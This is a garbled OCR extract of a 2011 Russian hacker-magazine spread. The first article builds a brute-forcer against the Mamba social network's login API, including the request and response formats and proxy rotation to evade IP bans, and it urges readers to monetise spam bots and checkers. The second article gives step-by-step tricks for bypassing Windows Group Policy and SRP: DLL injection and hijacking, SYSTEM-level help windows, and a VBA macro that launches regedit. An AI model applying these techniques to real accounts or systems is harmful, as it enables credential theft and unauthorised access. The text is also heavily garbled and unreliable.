действия.Идействительно,зачем

роватьрусскиеианглийскиекапчи

вает многопоточность в своих

удовольствия—1,39долл.за1000

программиступисатьнейросетии

форматовJPG,GIFиPNG.Ценаза

API. Цена — 30 копеек за одно

распознанныхкапч.Среднеевремя

сидетьбессоныминочамизакодом,

такоеудовольствиеотносительно

изображение, а время обработ-

распознаваниясоставляет17секунд

когдаможнопростозаплатитьодин

невысока—1долл.за1000изобра-

ки — до 30 секунд. Значительный

сточностью90%ивыше.Здесьты

зеленыйбаксзацелуютысячураз-

жений.Качествотоженауровне—не

плюс системы — программные

такженайдешьцелуюкучупро-

гаданныхкапч.Давайрассмотрим

более10%ошибок,атакжевозмож-

примеры, позволяющие безбо-

граммныхрешенийдляработающе-

трисамыхизвестныхипопулярных

ностьвывестиденьгиобратно,в

лезненно интегрировать сервис в

гонасервисеAPI.

антикапчевыхресурса:

случаееслитебячто-тонеустроит.

свой проект.

 

 

064

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Парсингпо

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

-крупномуw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

$i = 0; $links = array();

for ($i = 0; $i <= ($to — $from); $i++)

{

$links[] = 'http://slil.ru/'.($from+$i);

}

return $links;

}

$links = genLinks(31402491, 31402591);

Теперьмыимеем100ссылокslil.ruот31402491до31402591ввиде массива.Теперьприступимксамоймногопоточности.Еереализация немноготруднее,нодлянаснетничеготрудного.

ВcURL’емногопоточностьработаетследующимобразом:

1.Создаемдескриптормногопоточности,вкоторыйпотомразза разомскладываемнастроенныесоединения.

2.Пробегаемсяподескрипторуфункциейcurl_multi_exec,которая какразиисполнитвсёисразу.

clickUrl=http%3A%2F%2Fmamba.ru%2Ftips%2F%3Ftip%3DLogin& target=&login_captcha=&login=xxx&password=x1x2x3& VAnketaId=0&RedirectBack=http%253A%252F%252Fmamba.

ru%252Findex.phtml%253F

АдресAPI—mamba.ru/ajax/login.phtml?XForm=Login.

СОСТАВЛЕНИЕЗАПРОСА

Теперьвсмотримсявсамзапрос.Каквидим,здесьужефигурируют сессии,этозаметнопоcookie.Такжемывидим,чтопосылаютсяданные,ипосылаютсяониметодомPOST.Всеэтидеталинужноучестьпри написаниибрутера.

Теперьсноваоткрывайдискиищинанемочереднойпримерна PHP+cURL.Наэтотразмыдолжныполучитьопределенныйответот авторизационногоAPI«Мамбы»,означающийправильностьилине- правильностьпары«логин–пароль».

Воттаквыглядитответснеправильнойпарой:

3.Дляпоследующегообходарезультатовработыиспользуемcurl_

multi_getcontent. {"t":"0000000000000","a":00000000,"s":1,"e":0,"d":[],"r":0,"XFor

Запримеромреализациитакойсхемыидемнадискизапускаем функциюparseLinks()следующимобразом:

$info = parseLinks(genLinks(31402491, 31402591));

Теперь,послетрех-четырехсекундработыскрипта,мыимееминфор- мациюо1000файлов,сохраненныхнаslil.ru,вдиапазонеот31402491до 31402591.Далееужеделофантазии.Можно,например,произвестивыборкуконкретногоформатафайлов,можноихвсескачатьксебенакомпьютерпосоответствующимссылкам,можнопроизвестипоискпофразеи такдалее.Какпоказываетпрактика,ничегосложноговэтомнет,поэтому рассмотримещеодинпример,которыйбудетуженемногосложнее.

БРУТИМ«МАМБУ»

Далеемыостановимсянабрутередлясоциальнойсети«Мамба» (www.mamba.ru).

Какобычно,давайсоставималгоритмработыбрутера:

1.Посылаемзапросслогиномипаролем.

2.Принимаемответ.

3.Сверяемполученныйответсужеподготовленнымответом«неудачнойпары»и,еслиониодинаковы,возвращаемfalse,иначевозвращаемtrue.

Теперьостановимсянемногоподробнеенасамоммеханизмеавторизации«Мамбы».Перейдянасайт,мыувидимкнопочку«Вход».Нажавна нее,тыникуданепереходишь,атакженесоздаетсяникакихновыхокон, затопосерединеэкранапоявляетсяновыйслойсформойдлявхода.Из этогоследует,чтостоитожидатьдвавариантаразвитиясобытий:либонас перекинетнакакую-тостраницупослевводаневернойпары,либожевсё этобезобразиереализованонаAjax’еспомощьювнутрисайтовогоAPI. Первыйвариантбылбытяжелеедлябрутера,таккакпришлосьбыпо- лучатьссерверамногомусораилишнегоhtml-кода,авотвторойвариант былбыидеальным,таккакмыполучаемвсеголишь100–300символовот внутрисайтовогоAPI,чемускоряемработубрутера.Кнашейрадости,на «Мамбе»используетсякакразвторойвариант—сAPI.

ДалеенамнеобходимонайтиадресэтогосамогоAPI.Искатьвhtml- иJavaScript-коде,конечно,можно,номыбудемумнееипростоснова используемзамечательныйплагиндля«Лисы»LiveHTTPHeaders.

Открывстраницу,введяпару«логин–пароль»инажавкнопку «Вход»,мыувидимвокнеплагинаадресскрипта,которыйиотвечает заправильность/неправильностьпары:

POST /ajax/login.phtml?XForm=Login HTTP/1.1

Host: mamba.ru

...

Cookie: mmbsid=b8HMuKD6KEILm9GTm5Z0eOMnBLtFy6Xp

...

ms":{"Login":{"found":"\u041d\u0435\u0432\u0435\u0440\u043d\

u043e\u0443\u043a\u0430\u0437\u0430\u043d \u043b\u043e\u0433\ u0438\u043d\u0438\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\ u044c"}}}

Авоттаксправильной:

{"t":"0000000000000","a":"00000000","s":1,"e":0,"d":[],"r":

"http%3A%2F%2Fmamba.ru%2Ftips%2F%3Ftip%3DLogin","XForms":0}

Поэтомубудемсчитать,чтоесливответебудетприсутствовать строка"r":"http%3A%2F%2Fmamba.ru%2Ftips%2F%3Ftip%3DLogin",то параподошла.Также хочу отметить, что весь код с диска следует обернуть в многопоточный вариант, желательно в виде функции. Но не буду повторяться, так как способы реализации такой многопоточности описаны выше.

ПАЛКИВКОЛЕСАХ

Создавфункциональныйскриптипроверивоколо1000аккаунтовза минуту,тыможешьудивитьсятому,чторезультатыдалеконевсегда будуткорректными.Дляэтогосоветуютебепросто-напростовестилог работы,вкоторыйзаписываютсяответысервера.Открывтакойлог,ты увидишьподобныезаписи:

{"t":"1311437340338","a":0,"s":1,"e":0,"d":[],"r":0,"XForms":0,"

captcha":1}

Атакжезаписи,свидетельствующиеобанеIP-адреса,скоторого идетбрут.Капчаобходитсяразнымиспособами(онаиболеепопуляр- ныхизнихяужерассказалвыше),авотбанIP-адресалегкоисправить однойстрокойнаcURL:

curl_setopt($curl, CURLOPT_PROXY, '12.34.56.78:80');

Еслирассматриватьпримермногопоточногоскрипта,толучше использоватьнеодин,амногопрокси,которыебыавтоматически менялисьпослеполучениябана.

ЗАКЛЮЧЕНИЕ

Каквидноизпрактики,работасчужимисайтамисовсемнетрудна имногиедажеоченьпопулярныесервисынеочень-тоистараютсяв защитесобственныхданныхотграббинга.Если,попробовавописанныевстатьеспособыиприобретясоответствующийопыт,тыхочешь монетизироватьсвоинавыки,томогунамекнуть,чтов][-тусовке определеннымспросомвсегдапользовалисьибудутпользоваться всевозможныеавторегистраторы,спамеры,грабберы,чекерыитак далее.

Наэтомспешуоткланяться,удачногопарсинга! z

ХАКЕР 10/153/2011

065

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Алексей»GreenDog»Тюрин,DSecRG.ru,DigitalSecurity(agrrrdog@gmail.com)w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Недостаточноправ?

Достаточно

8ПРИЕМОВДЛЯ ОБХОДАГРУППОВЫХ ПОЛИТИКВДОМЕНЕ

Незнаю,чемруководствовалисьлюдиизMicrosoft,когда проектировалиисоздавалисистемугрупповыхполитик вWindows,нополучилосьунихнеочень.Системаполучиласьгибкойифункциональной,носнемалымколичествомлазеек,позволяющихобойтиограниченияи добратьсядотехместОС,доступккоторымзапрещен.

оправдеговоря,групповыеполитикибылиисследованывдоль

Пипоперекещепятьлетназад.Однакоиспользуемыерешения малочемизменились.Многиебагипо-прежнемуработают.

Крометого,появляютсяновыеприемыдляобходагрупповыхполитик. Поэтомумырешилисобратьдлятебянекоторыйнаборрецептов, чтобыты,во-первых,могвзятьнавооружение,аво-вторых,перестал веритьвто,чтогрупповыеполитики—этопанацея.Привсемудобстве ихиспользованияонинемогутобеспечитьдолжныйуровеньзащиты. Нообовсемпопорядку.

ЧТОЭТОТАКОЕ?

Есливеритьскучнымопределениям,тогрупповыеполитики(илиGroup Policy)—этоэффективныйицентрализованныймеханизмуправления многочисленнымипараметрамиоперационныхсистемиприложений. Групповыеполитикипозволяютадминамопределятьправила,всоответствиискоторыминастраиваютсяпараметрырабочейсредыкакдля пользователей,такидлякомпьютеров.Прощеговоря,этодовольномощныйинструментдляограничениявдействияхобычныхпользователей. Существуетмассаразличныхполитикиправ,спомощьюкоторыхможно запретитьвызовдиспетчеразадачилиредакторареестра,запретитьдоступкменю«Пуск»,атакжедовольногибкоограничитьзапускпрограммногообеспечения(этореализуетсяспомощьютакназываемыхSoftware RestrictionPolicies).Являетсялиэтотмеханизмэффективным?Лишь отчасти.Доступкшорткатам,запусклевогоПОисистемныхприложений, изменениенастроек—всеэтодостаточнолегкозапрещаетсяспомощью групповыхполитик,исэтойточкизренияможносказатьспасиборазработчикамОС.Но,увы,какэтообычнобывает,этиполитикизачастую можнообойти.Тутстоитсделатьоговорку.Всеполитикиможноразбить надвекатегории—длякомповидляпользователей.Групповыеполи- тикидоступныкаквдомене,такиналокальномкомпе.Еслиречьидето локальноймашине,тоихможнопосмотретьчерезспециальнуюоснастку gpedit.msc(secpol.msc).Вданнойстатьеосновнойакцентсделанименно надоменныегрупповыеполитики.Итак,приступим.

ТРЮК1.ОБХОДИМЗАГРУЗКУПОЛИТИК

Давайразберемся,каквообщекаждаямашинавлокальнойсетиполучаетгрупповыеполитикииздомена?Процесссозданиягрупповых политикможноразбитьнаследующиеусловныеэтапы:

1.Админсоздаетобъектгрупповойполитики.

2.Привязываетегоккаким-тоэлементамдомена.

3.Привходевдоменкомпотправляетзапроснаполучениеполитики получаетихвответотдомена.

4.Привходепользователявыполняетсяаналогичныйзапрос,ноуже попользовательскимполитикам.

066

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Недостаточноправ?Достаточноw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Win+U+Help+Jumptourl=ПолноценныйExplorer

Итак,чтомыздесьвидим:политикиподгружаютсянастадиивхода всистему.Здесьестьнебольшаяфича.Поумолчаниюобновление политиквыполняетсякаждые5минут.Ноеслиполитикинебыли полученывовремявходавсистему,тообновлятьсяонинебудут! Вырисовываетсяэлементарныйспособ,какэтуособенностьможно использовать:

1.Вынимаемпатч-кордизкомпа.

2.Включаемкомпилогинимсяподсвоейучеткой.

3.Подключаемпатч-кордобратно.

Дажеприотсутствиидоступавсетьмысможемвойтивдомен,так каквиндаранеезакешироваланашлогинипароль(этопроизошлово времяпредыдущеговходавсистему).Ноужебезприменениягрупповыхполитик.Приэтоммыспокойносможемиспользоватьресурсы сети,таккакпатч-кордкэтомумоментубудетнаместе,асовсякими авторизацияминаудаленныхресурсахсправитсясамавинда.Стоит добавить,чтовбезопасномрежимевиндыгрупповыеполитикивообщенедействуют.Комментарии,ядумаю,излишни.

ТРЮК2.КАКПРОИСХОДИТПРОВЕРКАПОЛИТИК?

Важнопонимать,накакомэтапепроисходитсопоставлениедействия,котороехочетвыполнитьпользователь,стемиограничениями групповыхполитик,которыенанегонакладываются.Спервадавай разберемся,гдерасположеныполитики.

Изначально,конечно,наконтроллередомена,откудаужепередаютсянамашинывлокальнойсети.Послеполучениягрупповых политикнаклиентскоймашинеонисохраняютсявреестревиндыв следующихместах(приведеныосновныеветки):

Политики для компа:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Policies\

HKEY_LOCAL_MACHINE\Software\Policies\

Политики для пользователей:

HKEY_CURENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\

HKEY_CURENT_USER\Software\Policies\

Когда запускается какой-то процесс, то в нем (то есть в userspace’е) производится проверка данных веток реестра (через подгруженную библиотеку advapi.dll) на те или иные ограничения, которые потом кешируются/сохраняются в памяти процесса. Они проверяются, когда пользователь выполняет какое-то действие, например запуск ПО. В чем подвох? В том, что контроль производится из самого процесса. То есть если процесс «не захочет» проверять политики, то ничто его не заставит их соблюдать. Никакого общего мониторинга не производится! Отсюда вывод: если мы каким-то образом сможем запустить произвольный процесс, то политики нам

Обходчерезнекорректнуюобработкуярлыков

уже не страшны. Сделать как правило — не проблема. Даже если нет возможности закачать программу на хост, можно выполнить ее удаленно (например, через шару).

ТРЮК3.ОБХОДИМSRP

Увы,дальшенанашемпутивозникаетдругоймеханизмограничений— SRP(SoftwareRestrictionPolicies).Этогруппаполитик,спомощью которыхадминможетограничитьсписокПО,котороеможетзапускать пользователь,черезчерныйибелыйсписки.BlacklistиWhitelist определяютсяспомощьюправил,которыеможнозадаватьнесколькими способами:позонамипосертификатам(первыедвавариантапрактическинеиспользуются),атакжепопутидофайлаипоегохешу.Отом, чтовсистемедействуютполитикиSRP,указываетсоответствующий пунктвреестре—HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\ Windows\Safer\CodeIdentifiers\TransparentEnabledсозначениембольшим0,который,какужебылосказановыше,проверяетсяпризапуске процесса.Нашазадача,соответственно,отрубитьэтупроверкувнутри запускаемогопроцесса.МаркРуссинович(goo.gl/KNauh)ещевдалеком 2005годуопубликовалпоствблогеобобходеSRPипредставилтулзу GPdisable.ОнапроизводитDLL-инъекциювзаданныйпроцесс,подгру- жаяспециальнуюDLL’ку.Когдапроцесспопытаетсяполучитьзначение ключареестраHKEY_LOCAL_MACHINE\Software\Policies\Microsoft\ Windows\Safer\CodeIdentifiers\TransparentEnabled,тоестьбудетпроверятьприсутствиеполитикSRP,даннаябиблиотекаперехватитзапрос ивозвратитSTATUS_OBJECT_NAME_NOT_FOUND.Такимобразом,процессдумает,чтовсеОКиSRPполитикивсистеменедействуют.

ПослепокупкикомпанииSysinternalsМайкрософтомGPdisable пересталбылофициальнодоступным(ноегопо-прежнемулегко найтивСети(bit.ly/nnzjN9).Естьещеболеепродвинутыерешения. УтилитаGPCul8or(bit.ly/nJAYri)отEric’aRachner’aвыполняетаналогичныефункции,нодоступнависходниках.Чтоэтонамдает?Мы можемдобавитьвGPCul8orлюбыедругиезначенияреестравинды (DisableTaskMgr,ProxySettingsPerUserкпримеру)итакимобразом обойтивсевозможныеограниченияполитик.Какиеименнозначения, спросишьты.ТебевпомощьRegMonотМаркаРуссиновича,хотя,по сути—этовсезначенияизветкиPolicies.

ДругойоригинальныйспособвсвоемблогеопубликовалДидье Стивенс(goo.gl/LE1M0).Используясвоютулзуbpmtk(BasicProcess ManipulationToolKit),онпредложилпрямовпамятипроцессаизменять значениенеобходимогодлягрупповойполитикиветкиреестра.

ТРЮК4.BINARYPLANTING

УтилитаGPdisableсостоитиздвухфайлов:

gpdisable.exe—инъектируетDLLвпроцесс;

gpdisable.dll—специальнаяDLLдляобходаSRP.

Какяужесказал,еслимыможемзапуститьприложение,то можемлегкообойтиSRPидругиеполитики(черезGPdisable,bpmtk,

ХАКЕР 10/153/2011

067

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

МакросынепалятсяполитикамиSRP

GPCul8or—неважно).Однаковреальнойсистемеможетоказаться нетакужпростозапуститьэтиприложения.Номыможемподгрузить DLL(втомчислеgpdisable.dll).Тутестьважныйнюанс.Групповые политикипризапускеПОмогутпроверятьиDLL’ки,ноприэтом достаточносильнопадаетпроизводительностьсистемы,потому поумолчаниюэтаопцияотключена.Имыэтоможемиспользовать!

ОченькстатиприходитсянедавнееисследованиеоткомпанииAcross Security(bit.ly/ov7EAz),котороерассказываетоновых(достаточно извращенных,ноработающих)методахподгрузкикодавпроцессы. ПриемназываетсяBinaryplanting(икакегоклассическийпример— dllhijacking),приегоизученииуменявозникламысль:«апочемуне использоватьегодляобходагрупповыхполитик?».Еслисистема разрешаетзапускприложенийтолькоизбелогосписка(пускайдаже толькоWord),тоэтогоужедостаточно,чтобыподгрузитьнашуполезнуюDLLдляобходаSRP.Итак,попробуемскреститьdllhijackingот парнейизAcrossиGPdisable:

ГРУППОВЫЕПОЛИТИКИ ВТОНКИХКЛИЕНТАХ

Хочетсяещерассказатьпротакиесистемы,какCitrixXenApp.Что этотакое?XenApp,еслиговоритьпростымязыком,этосистема«доставки»приложений(хотяэтотолькочастьфункционала).Посути, эточто-тотипатерминальногосерверавинды,нокогдапользовате- людоступнотолькоконкретноеприложение.Вжизниэтовыглядит так.ПользовательконнектитсяклиентомкCitrix-серверу—ему выводитсясписокдоступногоПО.Далееюзерзапускаеткакое-то приложениеиначинаетвнемработать.Основнаяфичавтом,что фактическипроцессприложениявыполняетсянаCitrix-сервере.По сути,данныйподходхорош(особенностонкимиклиентами),ноунего естьпучоккосяковсточкизрениябезопасности.Таккакпроцесс—на сервере,то,значит,пользователюдоступнывсересурсысервера(с учетомпользовательскихправ,конечно).Этонеоченьхорошо,так какпредполагается,чтоупользователядолженбытьдоступтолькок запущеннойпрограмме,анекОС.Чтоещехуже,добраться-тодосамой ОС—непроблема.ДажееслиусамогоПОнетвозможностиповзаимо- действиюсОС(нетменю«Открыть»,«Сохранитькак»),тостандартные возможностивиндывсеещеработают:нажимаемвCitrix-приложении <Ctrl+Shift+Esc>—намоткрываетсядиспетчерзадачCitrix-сервера, илиправыйкликпораскладкеклавиатуры,аоттудавфайлсправкис возможностьюлистингадиректорий.Личноястолкнулсясгрупповы- миполитикамиименновэтомконтексте—привзломеCitrix.

ОбходполитикчерезRunas

1.Переименовываемgpdisable.dllвehTrace.dll.

2.Создаемпапкусименемкуку.{2E095DD0-AF56-47E4-A099- EAC038DECC24}(названиелюбое,текстпослеточкиисчезнет).

3.КидаемehTrace.dllвтолькочтосозданнуюпапку.

4.ЗаходимвпапкуисоздаемтамлюбойдокументвWord,Excelили,к примеру,PDF’ку.

5.Теперьоткрываемтолькочтосозданныйфайл.

6.Соответствующаяпрограммадолжназапуститься.Изапустить

вместесподгруженнойDLL’кой! 8. Все,политикинамнестрашны.

ТРЮК5.ИСПОЛЬЗУЕМИСКЛЮЧЕНИЯ

Частоможнообойтисьибезподобныхухищрений,еслизнатьтонкости политик,врезультатекоторыхихдействияраспространяются:

напрограммы,запущенныеотимениучетнойзаписиSYSTEM;

драйверыидругиеприложенияуровняядра;

макросывнутридокументовMicrosoftOffice;

программы,написанныедляобщеймногоязыковойбиблиотеки временивыполнения(CommonLanguageRuntime).

Итак,процессыотSYSTEMнеконтролируются.Первыйфинтушами: еслиестьдоступккакому-тоПО,запущенномуподтакойучеткой,— атакуем.Например,нажимаемWin+U—запускаются«специальные возможности»(лупаиэкраннаяклавиатура).Utilman.exe(процесс«специальныхвозможностей»)приэтомзапускаетсяотSYSTEM.Далееидем тамв«Справку».Онатожедолжнаоткрытьсяснужнымипривилегиями, таккакзапущенавконтекстепроцессаcправамиSYSTEM.Есливинда несамаяновая(доVista),токликаемправойкнопкойнасинейверхнейпанельке«Jumptourl»,тампечатаем«C:\»иполучаемнастоящийвстроенныйexplorer.Еслиболееновая,томожнопоправомукликувтекстехелпа просмотретьисходныйкод(ViewSource)черезблокнот,откудадалее добратьсядофайлов.Илидругойвариант—«добавить»новыйпринтер, получивопятьжедоступклистингуфайлов.

Другаяинтереснаякатегория—макросывнутридокументов MicrosoftOffice.Этострашноедело. ПопробуемдляначалареализоватьзапускПО.Хотяеслизапускзаблоченобычнымиполитиками(не SRP),как,например,блокировкойдиспетчеразадач,тоэтотобходне сработает.Нонам-тоглавное—запуститьспециальныйexe’шник. Поэтомувлюбомдокументесмелосоздаемследующиймакросипробуемзапуститьего:

Sub GOSHELL()

Shell "C:\windows\system32\regedit.exe", vbNormalFocus

End Sub

068

ХАКЕР 10/153/2011

Соседние файлы в папке журнал хакер